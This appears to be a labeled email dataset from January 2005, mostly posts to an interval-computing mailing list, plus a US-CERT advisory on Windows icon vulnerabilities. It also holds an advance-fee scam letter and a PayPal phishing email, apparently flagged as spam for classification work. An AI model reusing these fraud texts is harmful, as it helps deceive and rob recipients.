a cordial business relationship with you, hence by contacting you. We want you to present yourself as the next of kin to Late Mr Andrew Phillips, so that the funds can be remitted into your account. Moreover, we do not want the money to go into the government account as unclaimed bills. The banking law and guidelines here stipulates that any account abandoned or is dormant for a period of years, is deemed closed and all money contained therein forfeited to the government treasury account. Now, it is being speculated that the above sum will be transferred into the government account as an unclaimed fund on or before the end of this financial quarter of 2005, when nobody come forward to lay claims. The reason for requesting your assistance, is occasioned by, the fact that the deceased (Late Mr Andrew Phillips) was a foreigner, and we have access to his detailed bio data which you will hold as a weapon to present yourself as the next of kin to Late Mr Andrew Phillips. The mode of sharing after a successful transfer of the money into your account, shall be 70% to my colleagues and I, for the role you will be expected to play in this deal, we have agreed to give you 25% of the total sum and 5% for the expenses we are going to encounter by the two parties in the course of this transaction. Therefore,you are expected to reply this letter indicating your readiness and interest to participate in this business. After receiving your reply, you will be communicated to with the exact steps to take. I expect your urgent response and I shall contact you for further discussion on this matter,to enable us conclude this transaction urgently without any delay or hitch. Please treat this business proposal as strictly confidential for security reasons considering my official position in Bank of Korea. Personal Regards, Mr. Jun Cheng ___________________________________________________________________________ Mail sent from WebMail service at PHP-Nuke Powered Site - XXXXXXXwww.baraius.net ",1,0 """R. Baker Kearfott"" ",reliable_computing@interval.louisiana.edu,"Wed, 12 Jan 2005 08:51:54 -0600",Freiburger Intervallberichte: Volunteer?,"Colleagues, I see steady reference to articles in the ""Freiburger Intervallberichte,"" and I personally have a need from time to time to look up articles therein. Also, my understanding is that, since Freiburger Intervallberichte was a preprint series, copyright issues are not involved. I see significant benefit in having electronic (i.e. scanned) copies of the Freiburger Intervallberichte on the web (such as on interval.louisiana.edu). However, someone will actually have to scan the series (ideally into PDF), a significant but not prohibitive task. We thus need a volunteer (or a volunteering of resources) to scan the series. Does anyone wish to volunteer? Also, does anyone have comments concerning this proposed endeavor? Sincerely, R. Baker Kearfott --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 Patrizia Lamberti ,reliable_computing@interval.louisiana.edu,"Wed, 12 Jan 2005 15:59:09 +0100",polynomial variability,"I am a PhD Student in Information and Electric Engineering at the University of Salerno, Italy. I am investigating the possibility of determining the range of minimum variability of a polynomial by means of interval analysis. I prefer to describe the problem by using a simple example. Let us consider the 5th order polynomial f(x)=x^5+60*x^4+30*x^3-10*x^2+6, which has 2 minima and 3 maxima in the range I=[-1.0,0.7]. Let us inspect the behaviour of f over I by considering a translating WIDE interval X(k)=[x0(k)-delta,x0(k)+delta], included in I, with x0={-0.7,-0.6,.,0.3,0.4} and delta=0.3. Let us calculate the Taylor expansion of f(x) centred in x0(k), k=1,2,., and evaluate its interval extension F_TM(X(k)). I have found that, among the N values F_TM(X(k)) calculated, the one of minimum radius is obtained for the X(k) wherein the real function f(x) is subjected to the minimum variation (namely, in that X(k) the united extension of f(X(k)) assumes the minimum radius). Note that: 1) the F_TM(X(k)) are calculated over intervals X(k) of fixed, and big, amplitude 2*delta; 2) I don't have looked for the true range of f over I or X(k), but I it was enough for me to look for the range of minimum (even if unknown) radius of f(x). Now, I have some questions: 1) is this result of general validity, namely for any polynomial and/or function in general? Does it exist some theorem helpful to demonstrate it in general? 2) has this problem already afforded in literature? Please, do not hesitate to ask for further details. Best regards Patrizia Lamberti ",0,0 CERT Advisory ,cert-advisory@cert.org,"Wed, 12 Jan 2005 16:59:42 -0500",US-CERT Technical Cyber Security Alert TA05-012A -- Multiple Vulnerabilities in Microsoft Windows Icon and Cursor Processing ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Technical Cyber Security Alert TA05-012A Multiple Vulnerabilities in Microsoft Windows Icon and Cursor Processing Original release date: January 12, 2005 Last revised: -- Source: US-CERT Systems Affected Microsoft Windows Operating Systems excluding Microsoft Windows XP SP2 Overview Microsoft Windows contains multiple vulnerabilities in the way that it handles cursor and icon files. A remote attacker could execute arbitrary code or cause a denial-of-service condition. I. Description Microsoft Security Bulletin MS05-002 describes a number of vulnerabilities in the way that Windows handles icons, cursors, animated cursors, and bitmaps. Further details are available in the following vulnerability notes: VU#625856 - Microsoft Windows LoadImage API vulnerable to integer overflow The Microsoft Windows LoadImage routine is vulnerable to an integer overflow that may allow a remote attacker to execute arbitrary code on a vulnerable system. (CAN-2004-1049) VU#697136 - Microsoft Windows kernel vulnerable to denial-of-service condition via animated cursor (.ani) rate number A vulnerability exists in the way the Microsoft Windows kernel processes animated cursor (.ani) files with a rate number set to zero. Exploitation of this vulnerability may allow a remote attacker to cause a denial-of-service condition. (CAN-2004-1305) VU#177584 - Microsoft Windows kernel vulnerable to denial-of-service condition via animated cursor (.ani) frame number A vulnerability exists in the way the Microsoft Windows kernel processes animated cursor (.ani) files with a frame number set to zero. Exploitation of this vulnerability may allow a remote attacker to cause a denial-of-service condition. (CAN-2004-1305) Note that exploits for these vulnerabilities are publicly available. II. Impact If a remote attacker can persuade a user to access a specially crafted bitmap image, icon, or cursor file, the attacker may be able to execute arbitrary code on that user's system, with their privileges. Potentially, any operation that displays an image could trigger exploitation; for instance, browsing the file system, reading HTML email, or browsing websites. III. Solution Install an Update Install the update as described in Microsoft Security Bulletin MS05-002. Please also note that this update is also available via Windows Update and Automatic Updates. Appendix A. References * US-CERT Vulnerability Note VU#697136 - * US-CERT Vulnerability Note VU#177584 - * US-CERT Vulnerability Note VU#625856 - * Microsoft Security Bulletin MS05-002 - _________________________________________________________________ These vulnerabilities were reported by Flashsky Fangxing and eEye Digital Security. _________________________________________________________________ Feedback can be directed to the author: Jeffrey Gennari _________________________________________________________________ This document is available from: _________________________________________________________________ Copyright 2005 Carnegie Mellon University. Terms of use Revision History Jan 12, 2005: Initial release Last updated January 12, 2005 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQeWT/xhoSezw4YfQAQJ4Mwf8DW38XyncYoByjMNLaDo5thBVElAbQpnP dCEmwTN65U+g604L1Zn+p0EJ2FSFRkF1Pbj0SZtin6PrjsTMsVP3KyaB2ogANpRl jjlXsK3BZcI+KA5MEz+tG6rRcN8leaKUkep94k2oBQvmS5EJ7qlxYEt6aNZCyws5 LNwGoGJFdh+1GS7V+SiI8bctJCkCyxZnbMqQDeacAmt8/wD7RcMUSvk8Cfk1L9hd Yw4cFlweRqjqHyj52Q01F7FAtvdRW+iG87EFMi5J6+HKkqR2vubExVI42uGCt64B 8SdG304c7pTIt2QSYFfqZWpMBkqWsqLI8mjPE/zU1ffnFM3DTAeExg== =H24T -----END PGP SIGNATURE-----",0,1 Jiawang Nie ,"Patrizia Lamberti , reliable_computing@interval.louisiana.edu","Wed, 12 Jan 2005 13:27:02 -0800",Re: polynomial variability," Dear Patrizia: Your question about polynomial variability is very interesting, and related to our work. The global minimum or maximum of a univariate polynomial on an interval [a,b] can be found very efficiently by software SOSTOOLS or Gloptipoly ( search in google for the references and websits). So the true range of f(x) over your X(k) can be found. The interval extensions F_TM(X(k)) evaluated via taylor expansion ( first order ?) of f(x) reflect the true range of f(x) over X(k) when delta is tiny. If delta is not sufficiently small, the relationship may not be clear. A more general problem about sensitivity analysis of solutions to polynomial systems is discussed in one of our papers. The following paper may be useful to you: http://front.math.ucdavis.edu/math.OC/0411122 Given a multivariate system of polynomials p(x,mu), where the mu's can be thought of as parameters determining the coefficient of p(), we give an algorithm for computing the minimal ellipsoid contining all the real solutions x of p(x,mu)=0. For example, if q() is a single polynomial in the scalar x with coefficients in intervals with given centers and radii, and you want bounds on the real zeros,then this can be formulated as finding the minimum ellipsoid containing the roots x of a system like sum_{i=0 to n} mu_i * x^i = 0 (mu_i - center_i)^2 + mu'_i^2 = radius^2 for i = 0 to n The paper uses techniques from semidefinite programming. Regards, Jiawang Nie and Jim Demmel ----- Original Message ----- From: Patrizia Lamberti To: reliable_computing@interval.louisiana.edu Sent: Wednesday, January 12, 2005 6:59 AM Subject: polynomial variability I am a PhD Student in Information and Electric Engineering at the University of Salerno, Italy. I am investigating the possibility of determining the range of minimum variability of a polynomial by means of interval analysis. I prefer to describe the problem by using a simple example. Let us consider the 5th order polynomial f(x)=x^5+60*x^4+30*x^3-10*x^2+6, which has 2 minima and 3 maxima in the range I=[-1.0,0.7]. Let us inspect the behaviour of f over I by considering a translating WIDE interval X(k)=[x0(k)-delta,x0(k)+delta], included in I, with x0={-0.7,-0.6,.,0.3,0.4} and delta=0.3. Let us calculate the Taylor expansion of f(x) centred in x0(k), k=1,2,., and evaluate its interval extension F_TM(X(k)). I have found that, among the N values F_TM(X(k)) calculated, the one of minimum radius is obtained for the X(k) wherein the real function f(x) is subjected to the minimum variation (namely, in that X(k) the united extension of f(X(k)) assumes the minimum radius). Note that: 1) the F_TM(X(k)) are calculated over intervals X(k) of fixed, and big, amplitude 2*delta; 2) I don't have looked for the true range of f over I or X(k), but I it was enough for me to look for the range of minimum (even if unknown) radius of f(x). Now, I have some questions: 1) is this result of general validity, namely for any polynomial and/or function in general? Does it exist some theorem helpful to demonstrate it in general? 2) has this problem already afforded in literature? Please, do not hesitate to ask for further details. Best regards Patrizia Lamberti ",0,1 """R. Baker Kearfott"" ","Jiawang Nie , Patrizia Lamberti , reliable_computing@interval.louisiana.edu","Wed, 12 Jan 2005 17:03:07 -0600",Re: polynomial variability,"All, For that matter, GlobSol has no problems finding facts about this particular univariate polynomial (roots, minima, maxima, critical points, etc.). For example, I've attached GlobSol input and output files for finding the minimum (validated) over the interval Patrizia specified. Best regards, Baker At 01:27 PM 1/12/2005 -0800, Jiawang Nie wrote: > >Dear Patrizia: > > Your question about polynomial variability is very interesting, and related to our work. > > The global minimum or maximum of a univariate polynomial on an interval [a,b] can be found very efficiently by software SOSTOOLS or Gloptipoly ( search in google for the references and websits). So the true range of f(x) over your X(k) can be found. > > The interval extensions F_TM(X(k)) evaluated via taylor expansion ( first order ?) of f(x) reflect the true range of f(x) over X(k) when delta is tiny. If delta is not sufficiently small, the relationship may not be clear. > > > A more general problem about sensitivity analysis of solutions to polynomial systems is discussed in one of our papers. The following paper may be useful to you: > http://front.math.ucdavis.edu/math.OC/0411122 >Given a multivariate system of polynomials p(x,mu), where the mu's can be thought of as parameters determining the coefficient of p(), we give an algorithm for computing the minimal ellipsoid contining all the real solutions x of p(x,mu)=0. For example, if q() is a single polynomial in the scalar x with coefficients in >intervals with given centers and radii, and you want bounds on the real zeros,then this can be formulated as finding the minimum ellipsoid containing the roots x of a system like > > sum_{i=0 to n} mu_i * x^i = 0 > (mu_i - center_i)^2 + mu'_i^2 = radius^2 for i = 0 to n > >The paper uses techniques from semidefinite programming. > > >Regards, >Jiawang Nie and Jim Demmel > > ----- Original Message ----- > From: Patrizia Lamberti > To: reliable_computing@interval.louisiana.edu > Sent: Wednesday, January 12, 2005 6:59 AM > Subject: polynomial variability > > > I am a PhD Student in Information and Electric Engineering at the University of Salerno, Italy. > > > > I am investigating the possibility of determining the range of minimum variability of a polynomial by means of interval analysis. > > > > I prefer to describe the problem by using a simple example. > > > > Let us consider the 5th order polynomial f(x)=x^5+60*x^4+30*x^3-10*x^2+6, which has 2 minima and 3 maxima in the range I=[-1.0,0.7]. Let us inspect the behaviour of f over I by considering a translating WIDE interval X(k)=[x0(k)-delta,x0(k)+delta], included in I, with x0={-0.7,-0.6,.,0.3,0.4} and delta=0.3. Let us calculate the Taylor expansion of f(x) centred in x0(k), k=1,2,., and evaluate its interval extension F_TM(X(k)). > > I have found that, among the N values F_TM(X(k)) calculated, the one of minimum radius is obtained for the X(k) wherein the real function f(x) is subjected to the minimum variation (namely, in that X(k) the united extension of f(X(k)) assumes the minimum radius). > > > > Note that: > > 1) the F_TM(X(k)) are calculated over intervals X(k) of fixed, and big, amplitude 2*delta; > > 2) I don't have looked for the true range of f over I or X(k), but I it was enough for me to look for the range of minimum (even if unknown) radius of f(x). > > > > Now, I have some questions: > > 1) is this result of general validity, namely for any polynomial and/or function in general? Does it exist some theorem helpful to demonstrate it in general? > > 2) has this problem already afforded in literature? > > > > Please, do not hesitate to ask for further details. > > > > Best regards > > > > Patrizia Lamberti > > > >""urn:schemas-microsoft-com:office:office""> > > > > > > >  >Dear  Patrizia: >  >      Your question about >polynomial variability is very interesting, and related to our work. > >  >      The global minimum >or maximum of a univariate polynomial on an interval [a,b] can be found very >efficiently by software SOSTOOLS or Gloptipoly ( search in google for the >references and websits). So the true range of f(x)  over your X(k) can be >found. >  >      The interval >extensions F_TM(X(k)) evaluated via taylor >expansion ( first order ?) of  f(x) reflect the true range of f(x) over >X(k) when delta is tiny. If delta is not sufficiently small, the relationship >may not be clear. >  >        > >       A more >general problem about sensitivity analysis of solutions >to  polynomial systems is discussed in one of our papers.face=""Times New Roman"" size=3>  The size=2>following paper may be useful to >you:            > size=3>http://front.math.ucdavis.edu/math.OC/0411122face=""Times New Roman"" size=3>Given a multivariate system of polynomials >p(x,mu), where the mu's can  be thought of as parameters determining the >coefficient of p(), we give an algorithm  for computing the minimal >ellipsoid contining all the real solutions x of p(x,mu)=0.  For example, if >q() is a single polynomial in the scalar x with coefficients in intervals >with given centers and radii, and you want bounds on the real zeros,then this >can be formulated as finding  the minimum ellipsoid containing the  >roots x of a system like      sum_{i=0 to >n}   mu_i * x^i  = 0      (mu_i - >center_i)^2 + mu'_i^2 = radius^2   for  i = 0 to nThe >paper uses techniques from semidefinite >programming.face=""Times New Roman"" size=3> >Regards,Jiawang Nie and Jim >Demmel >DEFANGED_style=""PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px""> > ----- Original Message ----- > style=""BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: black"">From: > Patrizia > Lamberti > To: title=reliable_computing@interval.louisiana.edu > href=""mailto:reliable_computing@interval.louisiana.edu"">reliable_computing@i nterval.louisiana.edu > > Sent: Wednesday, January 12, 2005 6:59 > AM > Subject: polynomial variability > face=Arial size=2> > DEFANGED_style=""MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify""> face=""Times New Roman""> style=""mso-ansi-language: EN-GB"">I am a PhD Student in Information and > Electric Engineering at the > lang=EN-GB > style=""mso-ansi-language: EN-GB"">University lang=EN-GB style=""mso-ansi-language: EN-GB""> of > style=""mso-ansi-language: EN-GB"">Salerno lang=EN-GB style=""mso-ansi-language: EN-GB"">, > lang=EN-GB > style=""mso-ansi-language: EN-GB"">Italy lang=EN-GB > style=""mso-ansi-language: EN-GB"">. > DEFANGED_style=""MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify""> lang=EN-GB style=""mso-ansi-language: EN-GB""> size=3>  > DEFANGED_style=""MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify""> lang=EN-GB style=""mso-ansi-language: EN-GB""> face=""Times New Roman"">I am investigating the possibility of determining the > range of minimum variability of a polynomial by means of interval > analysis. > DEFANGED_style=""MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify""> lang=EN-GB style=""mso-ansi-language: EN-GB""> size=3>  > DEFANGED_style=""MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify""> lang=EN-GB style=""mso-ansi-language: EN-GB""> face=""Times New Roman"">I prefer to describe the problem by using a simple > example. > DEFANGED_style=""MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify""> lang=EN-GB style=""mso-ansi-language: EN-GB""> size=3>  > DEFANGED_style=""MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify""> face=""Times New Roman""> style=""mso-ansi-language: EN-GB"">Let us consider the 5th order > polynomial f(x)=x^5+60*x^4+30*x^3-10*x^2+6, which has 2 minima and 3 maxima in > the range I=[-1.0,0.7]. Let us inspect the behaviour of f over I by > considering a translating WIDE interval X(k)=[x0(k)-delta,x0(k)+delta], > included in I, with x0={-0.7,-0.6,…,0.3,0.4} and delta=0.3. Let us calculate > the lang=EN-GB > style=""mso-ansi-language: EN-GB"">Taylor lang=EN-GB style=""mso-ansi-language: EN-GB""> expansion of f(x) centred in > x0(k), k=1,2,…, and evaluate its interval extension > F_TM(X(k)). > DEFANGED_style=""MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify""> lang=EN-GB style=""mso-ansi-language: EN-GB""> face=""Times New Roman"">I have found that, among the N values F_TM(X(k)) > calculated, the one of minimum radius is obtained for the X(k) wherein the > real function f(x) is subjected to the minimum variation (namely, in that X(k) > the united extension of f(X(k)) assumes the minimum > radius). > DEFANGED_style=""MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify""> lang=EN-GB style=""mso-ansi-language: EN-GB""> size=3>  > DEFANGED_style=""MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify""> lang=EN-GB style=""mso-ansi-language: EN-GB""> face=""Times New Roman"">Note that: > DEFANGED_style=""MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; TEXT-ALIGN: justify; mso-list: l1 level1 lfo1; tab-stops: list 36.0pt""> face=""Times New Roman""> style=""mso-ansi-language: EN-GB""> size=3>1) style=""FONT: 7pt 'Times New Roman'"">      > style=""mso-ansi-language: EN-GB"">the F_TM(X(k)) are calculated > over intervals X(k) of fixed, and big, amplitude > 2*delta; > DEFANGED_style=""MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; TEXT-ALIGN: justify; mso-list: l1 level1 lfo1; tab-stops: list 36.0pt""> face=""Times New Roman""> style=""mso-ansi-language: EN-GB""> size=3>2) style=""FONT: 7pt 'Times New Roman'"">      > style=""mso-ansi-language: EN-GB"">I don’t have looked for the true > range of f over I or X(k), but I it was enough for me to look for the range of > minimum (even if unknown) radius of > f(x). > DEFANGED_style=""MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify""> lang=EN-GB style=""mso-ansi-language: EN-GB""> size=3>  > DEFANGED_style=""MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify""> lang=EN-GB style=""mso-ansi-language: EN-GB""> face=""Times New Roman"">Now, I have some > questions: > DEFANGED_style=""MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; TEXT-ALIGN: justify; mso-list: l0 level1 lfo2; tab-stops: list 36.0pt""> face=""Times New Roman""> style=""mso-ansi-language: EN-GB""> size=3>1) style=""FONT: 7pt 'Times New Roman'"">      > style=""mso-ansi-language: EN-GB"">is this result of general > validity, namely for any polynomial and/or function in general? Does it exist > some theorem helpful to demonstrate it in > general? > DEFANGED_style=""MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; TEXT-ALIGN: justify; mso-list: l0 level1 lfo2; tab-stops: list 36.0pt""> face=""Times New Roman""> style=""mso-ansi-language: EN-GB""> size=3>2) style=""FONT: 7pt 'Times New Roman'"">      > style=""mso-ansi-language: EN-GB"">has this problem already > afforded in literature? > DEFANGED_style=""MARGIN: 0cm 0cm 0pt 18pt; TEXT-ALIGN: justify""> lang=EN-GB style=""mso-ansi-language: EN-GB""> size=3>  > DEFANGED_style=""MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify""> lang=EN-GB style=""mso-ansi-language: EN-GB""> face=""Times New Roman"">Please, do not hesitate to ask for further > details. > DEFANGED_style=""MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify""> lang=EN-GB style=""mso-ansi-language: EN-GB""> size=3>  > DEFANGED_style=""MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify""> lang=EN-GB style=""mso-ansi-language: EN-GB""> face=""Times New Roman"">Best > regards > DEFANGED_style=""MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify""> lang=EN-GB style=""mso-ansi-language: EN-GB""> size=3>  > DEFANGED_style=""MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify""> lang=EN-GB style=""mso-ansi-language: EN-GB""> face=""Times New Roman"">Patrizia > Lamberti > DEFANGED_style=""MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify""> lang=EN-GB style=""mso-ansi-language: EN-GB""> size=3>  >",0,1 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Wed, 12 Jan 2005 22:36:29 -0700","Postdoctoral Position at INRIA/Ecole Normale Superieure, Lyon: from NA DIgest","Apologies for multiple copies; please notice that interval arithmetic is explicitly mentioned *********************************************************************** From: Gilles Villard POSTDOCTORAL POSITION IN COMPUTER SCIENCE, DIGITAL SIGNATURE AND HARDWARE ARITHMETIC OPERATORS, INRIA/ECOLE NORMALE SUPERIEURE, LYON FRANCE Arnaud Tisserand and Gilles Villard {Arnaud.Tisserand,Gilles.Villard}@ens-lyon.fr Arnaire project http://www.ens-lyon.fr/LIP/Arenaire (CNRS/ENSL/INRIA/UCBL) Laboratoire LIP, cole Normale Suprieure, 46 Alle d'Italie, 69364 Lyon Cedex 07 France The INRIA project Arenaire offers a 12 months postdoc position starting as soon as possible. Objectives Last years have seen major investments in public-key cryptography research. Indeed, new commercial cryptographic products rely on very high ciphering speed. The efficiency of cryptographic algorithms is a crucial issue nowadays, and the design of hardware implementations is an important point for providing new solutions. In collaboration with several other groups (ACI Securite Informatique --- http://www-rocq.inria.fr/codes/OCAM), the objective of the postdoc is to participate to the development of a FPGA-based PC board prototype for digital signature. Together with the development of an experimental platform for best software and hardware solutions comparizon, the goal is to offer a complete hardware demonstrator usable by any standard computer. Work directions may concern FPGA programming, elaboration of test programs, data communication and system aspects. A joint research project of the candidate may be around cryptography, low-power hardware, or hardware for computer arithmetic. Arnaire project. Arnaire is a project of 16 researchers which aims at elaborating and consolidating knowledge in the field of computer arithmetic. We contribute to the improvement of the available arithmetic, at the hardware level as well as at the software level, on computers, processors, dedicated or embedded chips, etc. Reliability, accuracy, and speed are major goals that drive our studies. We also take into account other constraints such as power consumption, certification using formal proof techniques or reliability of numerical software. Target arithmetics are fixed or floating point format, interval arithmetic, finite fields arithmetic and multiple precision. Skills and application Knowledge in hardware design, for instance using VHDL for FPGAs, and in the domain of cryptographic algorithms will be appreciated. Interested candidates should contact or send files directly to {Arnaud.Tisserand, Gilles.Villard}@ens-lyon.fr as soon as possible. Files must contain a cv, a brief description of research work and recommendation letters.",0,1 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Wed, 12 Jan 2005 22:46:27 -0700",ISSAC 2005: deadline extended,"forwarding ------------- Begin Forwarded Message ------------- Date: Wed, 12 Jan 2005 12:24:18 +0800 From: ISSAC 2005 ISSAC2005 Call for Papers Third Announcement International Symposium on Symbolic and Algebraic Computation July 24-27, 2005, Beijing, China. http://www.mmrc.iss.ac.cn/issac2005/ ********************************************************************* The deadline for submission of papers to ISSAC 2005 has been extended to January 21, 2005 (Midnight [24:00 EST]). Paper Submission Webpage: https://issac2005.risc.uni-linz.ac.at/ ********************************************************************* ISSAC2005 program consists of Contributed Talks Poster Presentations Software Exhibitions Invited Talks Bruno Buchberger, RISC-Linz, Austria Bruno Salvy, INRIA, France Wen-Tsun Wu, Chinese Academy of Sciences, China Tutorials Evelyne Hubert INRIA, Sophia Antipolis, France Arnaud Tisserand INRIA, Lyon, France Jan Verschelde University of Chicago, USA Satellite Workshops Algebraic Methods in Cryptography Internet Accessible Mathematical Computation Symbolic-Numeric Computation Distinguished Paper Award and Distinguished Student Author Award will be selected. ------------- End Forwarded Message -------------",0,1 Patrizia Lamberti ,reliable_computing@interval.louisiana.edu,"Thu, 13 Jan 2005 17:00:31 +0100",re: polynomial variability,"Dear prof. Kearfott, Demmel and Jiawang Nie, thank you very much for your prompt reply. I am afraid I was not very clear in the description of the problem. Indeed, my objective is NOT the accurate evaluation of the exact range of the polynomial. Instead I am looking for an approach that gives me information about where the region of minimum variability of the function is located. To this aim, it is enough for me that the overestimation of the united extension is the minimum in the interval wherein the function shows the lowest sensitivity. Note that it is enough to know that we have THERE the minimum overestimation with respect to the overestimation obtained for the interval of the same width, but centered in any other point. Note that the range I look for may not to be coincident with a minimum/maximum of the function f(x). If the amplitude of the united extension f(X(k)) is w(f(X(k)))=max(f(X(k)))-min(f(X(k))), we are looking for the X(k) to which corresponds the minimum w(f(X(k))). That is the region of minimum variability. Now, I was trying an interval extension F(X(k)) of f(x) on the interval X(k) such that w(F(X(k))) had the same behaviour of w(f(X(k))). In particular that w(F(X(k))) was minimum just where w(f(X(k))) was, even if w(F(X(k)))>> w(f(X(k))). Actually, using the Taylor Model of f as interval extension (F_TM(X(k))), i.e. by using the complete Taylor series of f(x) around x0(k) and estimating it in terms of interval variable, I have verified that w(F(X(k))) keeps the presence of local and absolute minima just where local and absolute minima of w(f(X(k))) are. In particular it is true for a generic parabola and for all the polynomials that I have randomly obtained (from 3rd to 9th order). Moreover this characteristic is maintained for all delta, i.e. both tight and wide interval. I think improbable that these are only coincidences, rather I'm looking for a justification to this behaviour in the properties of the Taylor Model. Can you help me about this topics? May this result be extended to any polynomial function? Are there some theorems about this? I have not found a precise reference to this topic in literature, but I am afraid I am not searching for in the right way. I am sure that you can address me in the right way. At the best of your knowledge, is somewhere anyone who has been interested in the region of minimum w(f(X(k))) rather than the minimum of f(X(k)), or the best inclusion of the function? Do you think that the use of TM is valid or suggest alternatives to me? Thanks in advance Patrizia Lamberti",0,0 Jiri Rohn ,reliable_computing@interval.louisiana.edu,"Thu, 13 Jan 2005 10:30:26 +0100",change of address,"Dear colleagues, Please note my new address: Institute of Computer Science Pod vodarenskou vezi 2 182 07 Prague Czech Republic e-mail: rohn@cs.cas.cz With best wishes, Jiri Rohn ",0,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Thu, 13 Jan 2005 21:19:29 -0700",Engineering Reliability Design Handbook has been published,"Dear Vladik, Our community might be interested in the book, Rafi Muhanna and Robert Mullen have a chapter entitled ""Interval Methods for Reliable computing""; several other chapters are relevant *************************************************************************** Efstratios Nikolaidis, Dan Ghiocel, and Suren Singhal recently edited the CRC Engineering Reliability Design Handbook. This book was published in December 2004. The handbook contains 45 chapters written by well-respected experts from government labs, companies and universities. The book contents include methods for uncertainty quantification using probabilistic and non probabilistic approaches, computational methods for reliability assessment, reliability based design optimization, decision making in the face of uncertainty and testing for reliability certification. Applications in aerospace, automotive, civil and ocean engineering are presented. Success stories demonstrating the benefits of non deterministic approaches are included. A unique feature of the book is that it presents the perspectives of leaders from government labs, the industry and the academia on non deterministic methods. A pdf flier is attached to the mention of this book in the Books part of the interval computations website http://www.cs.utep.edu/interval-comp ",0,1 PayPal ,darlene@spnode30.nerdc.ufl.edu,"Thu, 13 Jan 2005 18:12:18 -0400",PayPal Account Has Been Violated,"Limited account access details Dear Paypal member, As a part of our security measures, we regularly screen activity in the Paypal system. After reviewing your site, and in accordance with the Paypal User Agreement, we need more information to help us provide you with secure services. For your protection ,we have limited access to your account until additional security measures can be completed. We would like to restore your access as soon as possible, and we apologize for any inconvenience this may cause. Why is my account access limited? We recently noticed the following issue on your account: May 08, 2006: We would like to ensure that your account was not accessed by an unauthorized, third party. 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All rights reserved.",1,1 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Fri, 14 Jan 2005 13:02:02 -0700",FYI,"Europe Fights Tide of Absurd Patents"" New Scientist (01/08/05) Vol. 185, No. 2481, P. 22; Fox, Barry The European Parliament is likely to soon pass a European Commission directive that bans software and business method patents in order to avoid a patent inundation that could hamper technological innovation by encouraging infringement lawsuits. There is a long-standing consensus between European politicians and programmers that copyright already provides adequate protection for software, making broadly applicable software patents unwanted. But patent applicants have been exploiting a loophole that allows software to be patented as a computer-implemented invention--a loophole that the draft directive seeks to remove. The directive has traveled a bumpy road to approval by the parliament: The original draft did not clearly distinguish between software-controlled inventions and the software that controls such inventions, so a provision that banned pure software patents was inserted. However, the European Industry Association for Information Systems, Communication Technologies, and Consumer Electronics (EICTA) complained that the legislation's wording permitted a patented technique with a ""significant purpose"" to be used without infringement, so the commission and the parliament are debating a new draft that is expected to make allowances for computer-implemented inventions that include a ""technical contribution."" The Foundation for a Free Information Infrastructure's Rufus Pollock warns that such a term is vulnerable to overly broad interpretation that could permit software patenting. From: http://www.acm.org/technews/articles/2005-7/0114f.html#item17 ",0,1 """Kearfott R. Baker"" ",reliable_computing@interval.louisiana.edu,"Sat, 15 Jan 2005 13:37:04 -0600",re: polynomial variability,"Patrizia, Yes, that seems to be an interesting conjecture. Do I understand that you are conjecturing that, if you take the Taylor representation for a polynomial, the intervals of minimum width in the Taylor representation correspond to intervals of minimum width of the exact range? I don't know of results like that, although Martin Berz or his students may. You might also clarify the conjecture by reminding us how you are choosing the base point x_0, or if it matters. Someone should be able to come up with a proof or counterexample. Sincerely, Baker >From: ""Patrizia Lamberti"" >To: >Subject: re: polynomial variability >Date: Thu, 13 Jan 2005 17:00:31 +0100 >MIME-Version: 1.0 >X-Priority: 3 >X-MSMail-Priority: Normal >X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 >X-Spam-Score: (-1.424) BAYES_01,HTML_MESSAGE >X-Scanned-By: MIMEDefang 2.42 > >Dear prof. Kearfott, Demmel and Jiawang Nie, > >thank you very much for your prompt reply. > >I am afraid I was not very clear in the description of the problem. >Indeed, my objective is NOT the accurate evaluation of the exact range of the polynomial. Instead I am looking for an approach that gives me information about where the region of minimum variability of the function is located. To this aim, it is enough for me that the overestimation of the united extension is the minimum in the interval wherein the function shows the lowest sensitivity. Note that it is enough to know that we have THERE the minimum overestimation with respect to the overestimation obtained for the interval of the same width, but centered in any other point. > >Note that the range I look for may not to be coincident with a minimum/maximum of the function f(x). If the amplitude of the united extension f(X(k)) is 